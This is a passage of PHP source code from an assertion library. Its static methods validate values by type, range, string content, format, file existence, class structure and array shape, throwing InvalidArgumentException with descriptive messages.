public static function string($value, $message = '') { if (!\is_string($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a string. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert non-empty-string $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function stringNotEmpty($value, $message = '') { static::string($value, $message); static::notEq($value, '', $message); } /** * @psalm-pure * @psalm-assert int $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function integer($value, $message = '') { if (!\is_int($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an integer. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert numeric $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function integerish($value, $message = '') { if (!\is_numeric($value) || $value != (int) $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an integerish value. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert positive-int $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function positiveInteger($value, $message = '') { if (!(\is_int($value) && $value > 0)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a positive integer. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert float $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function float($value, $message = '') { if (!\is_float($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a float. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert numeric $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function numeric($value, $message = '') { if (!\is_numeric($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a numeric. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert positive-int|0 $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function natural($value, $message = '') { if (!\is_int($value) || $value < 0) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a non-negative integer. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert bool $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function boolean($value, $message = '') { if (!\is_bool($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a boolean. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert scalar $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function scalar($value, $message = '') { if (!\is_scalar($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a scalar. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert object $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function object($value, $message = '') { if (!\is_object($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an object. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert resource $value * * @param mixed $value * @param string|null $type type of resource this should be. @see https://www.php.net/manual/en/function.get-resource-type.php * @param string $message * * @throws InvalidArgumentException */ public static function resource($value, $type = null, $message = '') { if (!\is_resource($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a resource. Got: %s', static::typeToString($value) )); } if ($type && $type !== \get_resource_type($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a resource of type %2$s. Got: %s', static::typeToString($value), $type )); } } /** * @psalm-pure * @psalm-assert callable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function isCallable($value, $message = '') { if (!\is_callable($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a callable. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert array $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function isArray($value, $message = '') { if (!\is_array($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an array. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert iterable $value * * @deprecated use "isIterable" or "isInstanceOf" instead * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function isTraversable($value, $message = '') { @\trigger_error( \sprintf( 'The "%s" assertion is deprecated. You should stop using it, as it will soon be removed in 2.0 version. Use "isIterable" or "isInstanceOf" instead.', __METHOD__ ), \E_USER_DEPRECATED ); if (!\is_array($value) && !($value instanceof Traversable)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a traversable. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert array|ArrayAccess $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function isArrayAccessible($value, $message = '') { if (!\is_array($value) && !($value instanceof ArrayAccess)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an array accessible. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert countable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function isCountable($value, $message = '') { if ( !\is_array($value) && !($value instanceof Countable) && !($value instanceof ResourceBundle) && !($value instanceof SimpleXMLElement) ) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a countable. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-assert iterable $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function isIterable($value, $message = '') { if (!\is_array($value) && !($value instanceof Traversable)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an iterable. Got: %s', static::typeToString($value) )); } } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert ExpectedType $value * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException */ public static function isInstanceOf($value, $class, $message = '') { if (!($value instanceof $class)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an instance of %2$s. Got: %s', static::typeToString($value), $class )); } } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert !ExpectedType $value * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException */ public static function notInstanceOf($value, $class, $message = '') { if ($value instanceof $class) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an instance other than %2$s. Got: %s', static::typeToString($value), $class )); } } /** * @psalm-pure * @psalm-param array $classes * * @param mixed $value * @param array $classes * @param string $message * * @throws InvalidArgumentException */ public static function isInstanceOfAny($value, array $classes, $message = '') { foreach ($classes as $class) { if ($value instanceof $class) { return; } } static::reportInvalidArgument(\sprintf( $message ?: 'Expected an instance of any of %2$s. Got: %s', static::typeToString($value), \implode(', ', \array_map(array('static', 'valueToString'), $classes)) )); } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert ExpectedType|class-string $value * * @param object|string $value * @param string $class * @param string $message * * @throws InvalidArgumentException */ public static function isAOf($value, $class, $message = '') { static::string($class, 'Expected class as a string. Got: %s'); if (!\is_a($value, $class, \is_string($value))) { static::reportInvalidArgument(sprintf( $message ?: 'Expected an instance of this class or to this class among his parents %2$s. Got: %s', static::typeToString($value), $class )); } } /** * @psalm-pure * @psalm-template UnexpectedType of object * @psalm-param class-string $class * @psalm-assert !UnexpectedType $value * @psalm-assert !class-string $value * * @param object|string $value * @param string $class * @param string $message * * @throws InvalidArgumentException */ public static function isNotA($value, $class, $message = '') { static::string($class, 'Expected class as a string. Got: %s'); if (\is_a($value, $class, \is_string($value))) { static::reportInvalidArgument(sprintf( $message ?: 'Expected an instance of this class or to this class among his parents other than %2$s. Got: %s', static::typeToString($value), $class )); } } /** * @psalm-pure * @psalm-param array $classes * * @param object|string $value * @param string[] $classes * @param string $message * * @throws InvalidArgumentException */ public static function isAnyOf($value, array $classes, $message = '') { foreach ($classes as $class) { static::string($class, 'Expected class as a string. Got: %s'); if (\is_a($value, $class, \is_string($value))) { return; } } static::reportInvalidArgument(sprintf( $message ?: 'Expected an any of instance of this class or to this class among his parents other than %2$s. Got: %s', static::typeToString($value), \implode(', ', \array_map(array('static', 'valueToString'), $classes)) )); } /** * @psalm-pure * @psalm-assert empty $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function isEmpty($value, $message = '') { if (!empty($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an empty value. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert !empty $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function notEmpty($value, $message = '') { if (empty($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a non-empty value. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function null($value, $message = '') { if (null !== $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected null. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert !null $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function notNull($value, $message = '') { if (null === $value) { static::reportInvalidArgument( $message ?: 'Expected a value other than null.' ); } } /** * @psalm-pure * @psalm-assert true $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function true($value, $message = '') { if (true !== $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to be true. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert false $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function false($value, $message = '') { if (false !== $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to be false. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert !false $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function notFalse($value, $message = '') { if (false === $value) { static::reportInvalidArgument( $message ?: 'Expected a value other than false.' ); } } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function ip($value, $message = '') { if (false === \filter_var($value, \FILTER_VALIDATE_IP)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to be an IP. Got: %s', static::valueToString($value) )); } } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function ipv4($value, $message = '') { if (false === \filter_var($value, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV4)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to be an IPv4. Got: %s', static::valueToString($value) )); } } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function ipv6($value, $message = '') { if (false === \filter_var($value, \FILTER_VALIDATE_IP, \FILTER_FLAG_IPV6)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to be an IPv6. Got: %s', static::valueToString($value) )); } } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function email($value, $message = '') { if (false === \filter_var($value, FILTER_VALIDATE_EMAIL)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to be a valid e-mail address. Got: %s', static::valueToString($value) )); } } /** * Does non strict comparisons on the items, so ['3', 3] will not pass the assertion. * * @param array $values * @param string $message * * @throws InvalidArgumentException */ public static function uniqueValues(array $values, $message = '') { $allValues = \count($values); $uniqueValues = \count(\array_unique($values)); if ($allValues !== $uniqueValues) { $difference = $allValues - $uniqueValues; static::reportInvalidArgument(\sprintf( $message ?: 'Expected an array of unique values, but %s of them %s duplicated', $difference, (1 === $difference ? 'is' : 'are') )); } } /** * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException */ public static function eq($value, $expect, $message = '') { if ($expect != $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value equal to %2$s. Got: %s', static::valueToString($value), static::valueToString($expect) )); } } /** * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException */ public static function notEq($value, $expect, $message = '') { if ($expect == $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a different value than %s.', static::valueToString($expect) )); } } /** * @psalm-pure * * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException */ public static function same($value, $expect, $message = '') { if ($expect !== $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value identical to %2$s. Got: %s', static::valueToString($value), static::valueToString($expect) )); } } /** * @psalm-pure * * @param mixed $value * @param mixed $expect * @param string $message * * @throws InvalidArgumentException */ public static function notSame($value, $expect, $message = '') { if ($expect === $value) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value not identical to %s.', static::valueToString($expect) )); } } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException */ public static function greaterThan($value, $limit, $message = '') { if ($value <= $limit) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value greater than %2$s. Got: %s', static::valueToString($value), static::valueToString($limit) )); } } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException */ public static function greaterThanEq($value, $limit, $message = '') { if ($value < $limit) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value greater than or equal to %2$s. Got: %s', static::valueToString($value), static::valueToString($limit) )); } } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException */ public static function lessThan($value, $limit, $message = '') { if ($value >= $limit) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value less than %2$s. Got: %s', static::valueToString($value), static::valueToString($limit) )); } } /** * @psalm-pure * * @param mixed $value * @param mixed $limit * @param string $message * * @throws InvalidArgumentException */ public static function lessThanEq($value, $limit, $message = '') { if ($value > $limit) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value less than or equal to %2$s. Got: %s', static::valueToString($value), static::valueToString($limit) )); } } /** * Inclusive range, so Assert::(3, 3, 5) passes. * * @psalm-pure * * @param mixed $value * @param mixed $min * @param mixed $max * @param string $message * * @throws InvalidArgumentException */ public static function range($value, $min, $max, $message = '') { if ($value < $min || $value > $max) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value between %2$s and %3$s. Got: %s', static::valueToString($value), static::valueToString($min), static::valueToString($max) )); } } /** * A more human-readable alias of Assert::inArray(). * * @psalm-pure * * @param mixed $value * @param array $values * @param string $message * * @throws InvalidArgumentException */ public static function oneOf($value, array $values, $message = '') { static::inArray($value, $values, $message); } /** * Does strict comparison, so Assert::inArray(3, ['3']) does not pass the assertion. * * @psalm-pure * * @param mixed $value * @param array $values * @param string $message * * @throws InvalidArgumentException */ public static function inArray($value, array $values, $message = '') { if (!\in_array($value, $values, true)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected one of: %2$s. Got: %s', static::valueToString($value), \implode(', ', \array_map(array('static', 'valueToString'), $values)) )); } } /** * @psalm-pure * * @param string $value * @param string $subString * @param string $message * * @throws InvalidArgumentException */ public static function contains($value, $subString, $message = '') { if (false === \strpos($value, $subString)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain %2$s. Got: %s', static::valueToString($value), static::valueToString($subString) )); } } /** * @psalm-pure * * @param string $value * @param string $subString * @param string $message * * @throws InvalidArgumentException */ public static function notContains($value, $subString, $message = '') { if (false !== \strpos($value, $subString)) { static::reportInvalidArgument(\sprintf( $message ?: '%2$s was not expected to be contained in a value. Got: %s', static::valueToString($value), static::valueToString($subString) )); } } /** * @psalm-pure * * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function notWhitespaceOnly($value, $message = '') { if (\preg_match('/^\s*$/', $value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a non-whitespace string. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * * @param string $value * @param string $prefix * @param string $message * * @throws InvalidArgumentException */ public static function startsWith($value, $prefix, $message = '') { if (0 !== \strpos($value, $prefix)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to start with %2$s. Got: %s', static::valueToString($value), static::valueToString($prefix) )); } } /** * @psalm-pure * * @param string $value * @param string $prefix * @param string $message * * @throws InvalidArgumentException */ public static function notStartsWith($value, $prefix, $message = '') { if (0 === \strpos($value, $prefix)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value not to start with %2$s. Got: %s', static::valueToString($value), static::valueToString($prefix) )); } } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function startsWithLetter($value, $message = '') { static::string($value); $valid = isset($value[0]); if ($valid) { $locale = \setlocale(LC_CTYPE, 0); \setlocale(LC_CTYPE, 'C'); $valid = \ctype_alpha($value[0]); \setlocale(LC_CTYPE, $locale); } if (!$valid) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to start with a letter. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * * @param string $value * @param string $suffix * @param string $message * * @throws InvalidArgumentException */ public static function endsWith($value, $suffix, $message = '') { if ($suffix !== \substr($value, -\strlen($suffix))) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to end with %2$s. Got: %s', static::valueToString($value), static::valueToString($suffix) )); } } /** * @psalm-pure * * @param string $value * @param string $suffix * @param string $message * * @throws InvalidArgumentException */ public static function notEndsWith($value, $suffix, $message = '') { if ($suffix === \substr($value, -\strlen($suffix))) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value not to end with %2$s. Got: %s', static::valueToString($value), static::valueToString($suffix) )); } } /** * @psalm-pure * * @param string $value * @param string $pattern * @param string $message * * @throws InvalidArgumentException */ public static function regex($value, $pattern, $message = '') { if (!\preg_match($pattern, $value)) { static::reportInvalidArgument(\sprintf( $message ?: 'The value %s does not match the expected pattern.', static::valueToString($value) )); } } /** * @psalm-pure * * @param string $value * @param string $pattern * @param string $message * * @throws InvalidArgumentException */ public static function notRegex($value, $pattern, $message = '') { if (\preg_match($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) { static::reportInvalidArgument(\sprintf( $message ?: 'The value %s matches the pattern %s (at offset %d).', static::valueToString($value), static::valueToString($pattern), $matches[0][1] )); } } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function unicodeLetters($value, $message = '') { static::string($value); if (!\preg_match('/^\p{L}+$/u', $value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain only Unicode letters. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function alpha($value, $message = '') { static::string($value); $locale = \setlocale(LC_CTYPE, 0); \setlocale(LC_CTYPE, 'C'); $valid = !\ctype_alpha($value); \setlocale(LC_CTYPE, $locale); if ($valid) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain only letters. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function digits($value, $message = '') { $locale = \setlocale(LC_CTYPE, 0); \setlocale(LC_CTYPE, 'C'); $valid = !\ctype_digit($value); \setlocale(LC_CTYPE, $locale); if ($valid) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain digits only. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function alnum($value, $message = '') { $locale = \setlocale(LC_CTYPE, 0); \setlocale(LC_CTYPE, 'C'); $valid = !\ctype_alnum($value); \setlocale(LC_CTYPE, $locale); if ($valid) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain letters and digits only. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert lowercase-string $value * * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function lower($value, $message = '') { $locale = \setlocale(LC_CTYPE, 0); \setlocale(LC_CTYPE, 'C'); $valid = !\ctype_lower($value); \setlocale(LC_CTYPE, $locale); if ($valid) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain lowercase characters only. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-assert !lowercase-string $value * * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function upper($value, $message = '') { $locale = \setlocale(LC_CTYPE, 0); \setlocale(LC_CTYPE, 'C'); $valid = !\ctype_upper($value); \setlocale(LC_CTYPE, $locale); if ($valid) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain uppercase characters only. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * * @param string $value * @param int $length * @param string $message * * @throws InvalidArgumentException */ public static function length($value, $length, $message = '') { if ($length !== static::strlen($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain %2$s characters. Got: %s', static::valueToString($value), $length )); } } /** * Inclusive min. * * @psalm-pure * * @param string $value * @param int|float $min * @param string $message * * @throws InvalidArgumentException */ public static function minLength($value, $min, $message = '') { if (static::strlen($value) < $min) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain at least %2$s characters. Got: %s', static::valueToString($value), $min )); } } /** * Inclusive max. * * @psalm-pure * * @param string $value * @param int|float $max * @param string $message * * @throws InvalidArgumentException */ public static function maxLength($value, $max, $message = '') { if (static::strlen($value) > $max) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain at most %2$s characters. Got: %s', static::valueToString($value), $max )); } } /** * Inclusive , so Assert::lengthBetween('asd', 3, 5); passes the assertion. * * @psalm-pure * * @param string $value * @param int|float $min * @param int|float $max * @param string $message * * @throws InvalidArgumentException */ public static function lengthBetween($value, $min, $max, $message = '') { $length = static::strlen($value); if ($length < $min || $length > $max) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a value to contain between %2$s and %3$s characters. Got: %s', static::valueToString($value), $min, $max )); } } /** * Will also pass if $value is a directory, use Assert::file() instead if you need to be sure it is a file. * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function fileExists($value, $message = '') { static::string($value); if (!\file_exists($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'The file %s does not exist.', static::valueToString($value) )); } } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function file($value, $message = '') { static::fileExists($value, $message); if (!\is_file($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'The path %s is not a file.', static::valueToString($value) )); } } /** * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function directory($value, $message = '') { static::fileExists($value, $message); if (!\is_dir($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'The path %s is no directory.', static::valueToString($value) )); } } /** * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function readable($value, $message = '') { if (!\is_readable($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'The path %s is not readable.', static::valueToString($value) )); } } /** * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function writable($value, $message = '') { if (!\is_writable($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'The path %s is not writable.', static::valueToString($value) )); } } /** * @psalm-assert class-string $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function classExists($value, $message = '') { if (!\class_exists($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an existing class name. Got: %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $class * @psalm-assert class-string|ExpectedType $value * * @param mixed $value * @param string|object $class * @param string $message * * @throws InvalidArgumentException */ public static function subclassOf($value, $class, $message = '') { if (!\is_subclass_of($value, $class)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected a sub-class of %2$s. Got: %s', static::valueToString($value), static::valueToString($class) )); } } /** * @psalm-assert class-string $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function interfaceExists($value, $message = '') { if (!\interface_exists($value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an existing interface name. got %s', static::valueToString($value) )); } } /** * @psalm-pure * @psalm-template ExpectedType of object * @psalm-param class-string $interface * @psalm-assert class-string $value * * @param mixed $value * @param mixed $interface * @param string $message * * @throws InvalidArgumentException */ public static function implementsInterface($value, $interface, $message = '') { if (!\in_array($interface, \class_implements($value))) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an implementation of %2$s. Got: %s', static::valueToString($value), static::valueToString($interface) )); } } /** * @psalm-pure * @psalm-param class-string|object $classOrObject * * @param string|object $classOrObject * @param mixed $property * @param string $message * * @throws InvalidArgumentException */ public static function propertyExists($classOrObject, $property, $message = '') { if (!\property_exists($classOrObject, $property)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected the property %s to exist.', static::valueToString($property) )); } } /** * @psalm-pure * @psalm-param class-string|object $classOrObject * * @param string|object $classOrObject * @param mixed $property * @param string $message * * @throws InvalidArgumentException */ public static function propertyNotExists($classOrObject, $property, $message = '') { if (\property_exists($classOrObject, $property)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected the property %s to not exist.', static::valueToString($property) )); } } /** * @psalm-pure * @psalm-param class-string|object $classOrObject * * @param string|object $classOrObject * @param mixed $method * @param string $message * * @throws InvalidArgumentException */ public static function methodExists($classOrObject, $method, $message = '') { if (!(\is_string($classOrObject) || \is_object($classOrObject)) || !\method_exists($classOrObject, $method)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected the method %s to exist.', static::valueToString($method) )); } } /** * @psalm-pure * @psalm-param class-string|object $classOrObject * * @param string|object $classOrObject * @param mixed $method * @param string $message * * @throws InvalidArgumentException */ public static function methodNotExists($classOrObject, $method, $message = '') { if ((\is_string($classOrObject) || \is_object($classOrObject)) && \method_exists($classOrObject, $method)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected the method %s to not exist.', static::valueToString($method) )); } } /** * @psalm-pure * * @param array $array * @param string|int $key * @param string $message * * @throws InvalidArgumentException */ public static function keyExists($array, $key, $message = '') { if (!(isset($array[$key]) || \array_key_exists($key, $array))) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected the key %s to exist.', static::valueToString($key) )); } } /** * @psalm-pure * * @param array $array * @param string|int $key * @param string $message * * @throws InvalidArgumentException */ public static function keyNotExists($array, $key, $message = '') { if (isset($array[$key]) || \array_key_exists($key, $array)) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected the key %s to not exist.', static::valueToString($key) )); } } /** * Checks if a value is a valid array key (int or string). * * @psalm-pure * @psalm-assert array-key $value * * @param mixed $value * @param string $message * * @throws InvalidArgumentException */ public static function validArrayKey($value, $message = '') { if (!(\is_int($value) || \is_string($value))) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected string or integer. Got: %s', static::typeToString($value) )); } } /** * Does not check if $array is countable, this can generate a warning on php versions after 7.2. * * @param Countable|array $array * @param int $number * @param string $message * * @throws InvalidArgumentException */ public static function count($array, $number, $message = '') { static::eq( \count($array), $number, \sprintf( $message ?: 'Expected an array to contain %d elements. Got: %d.', $number, \count($array) ) ); } /** * Does not check if $array is countable, this can generate a warning on php versions after 7.2. * * @param Countable|array $array * @param int|float $min * @param string $message * * @throws InvalidArgumentException */ public static function minCount($array, $min, $message = '') { if (\count($array) < $min) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an array to contain at least %2$d elements. Got: %d', \count($array), $min )); } } /** * Does not check if $array is countable, this can generate a warning on php versions after 7.2. * * @param Countable|array $array * @param int|float $max * @param string $message * * @throws InvalidArgumentException */ public static function maxCount($array, $max, $message = '') { if (\count($array) > $max) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an array to contain at most %2$d elements. Got: %d', \count($array), $max )); } } /** * Does not check if $array is countable, this can generate a warning on php versions after 7.2. * * @param Countable|array $array * @param int|float $min * @param int|float $max * @param string $message * * @throws InvalidArgumentException */ public static function countBetween($array, $min, $max, $message = '') { $count = \count($array); if ($count < $min || $count > $max) { static::reportInvalidArgument(\sprintf( $message ?: 'Expected an array to contain between %2$d and %3$d elements. Got: %d', $count, $min, $max )); } } /** * @psalm-pure * @psalm-assert list $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException */ public static function isList($array, $message = '') { if (!\is_array($array) || $array !== \array_values($array)) { static::reportInvalidArgument( $message ?: 'Expected list - non-associative array.' ); } } /** * @psalm-pure * @psalm-assert non-empty-list $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException */ public static function isNonEmptyList($array, $message = '') { static::isList($array, $message); static::notEmpty($array, $message); } /** * @psalm-pure * @psalm-template T * @psalm-param mixed|array $array * @psalm-assert array $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException */ public static function isMap($array, $message = '') { if ( !\is_array($array) || \array_keys($array) !== \array_filter(\array_keys($array), '\is_string') ) { static::reportInvalidArgument( $message ?: 'Expected map - associative array with string keys.' ); } } /** * @psalm-pure * @psalm-template T * @psalm-param mixed|array $array * @psalm-assert array $array * @psalm-assert !empty $array * * @param mixed $array * @param string $message * * @throws InvalidArgumentException */ public static function isNonEmptyMap($array, $message = '') { static::isMap($array, $message); static::notEmpty($array, $message); } /** * @psalm-pure * * @param string $value * @param string $message * * @throws InvalidArgumentException */ public static function uuid($value, $message = '') { $value = \str_replace(array('urn:', 'uuid:', '{', '}'), '', $value); // The nil UUID is special form of UUID that is specified to have all // 128 bits set to zero. if ('00000000-0000-0000-0000-000000000000' === $value) { return; } if (!\preg_match('/^[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}$/', $value)) { static::reportInvalidArgument(\sprintf( $message ?: 'Value %s is not a valid UUID.', static::valueToString($value) )); } } /** * @psalm-param class-string $class * * @param Closure $expression * @param string $class * @param string $message * * @throws InvalidArgumentException */ public static function throws(Closure $expression, $class = 'Exception', $message = '') { static::string($class); $actual = 'none'; try { $expression(); } catch (Exception $e) { $actual = \get_class($e); if ($e instanceof $class) { return; } } catch (Throwable $e) { $actual = \get_class($e); if ($e instanceof $class) { return; } } static::reportInvalidArgument($message ?: \sprintf( 'Expected to throw "%s", got "%s"', $class, $actual )); } /** * @throws BadMethodCallException */ public static function __callStatic($name, $arguments) { if ('nullOr' === \substr($name, 0, 6)) { if (null !== $arguments[0]) { $method = \lcfirst(\substr($name, 6)); \call_user_func_array(array('static', $method), $arguments); } return; } if ('all' === \substr($name, 0, 3)) { static::isIterable($arguments[0]); $method = \lcfirst(\substr($name, 3)); $args = 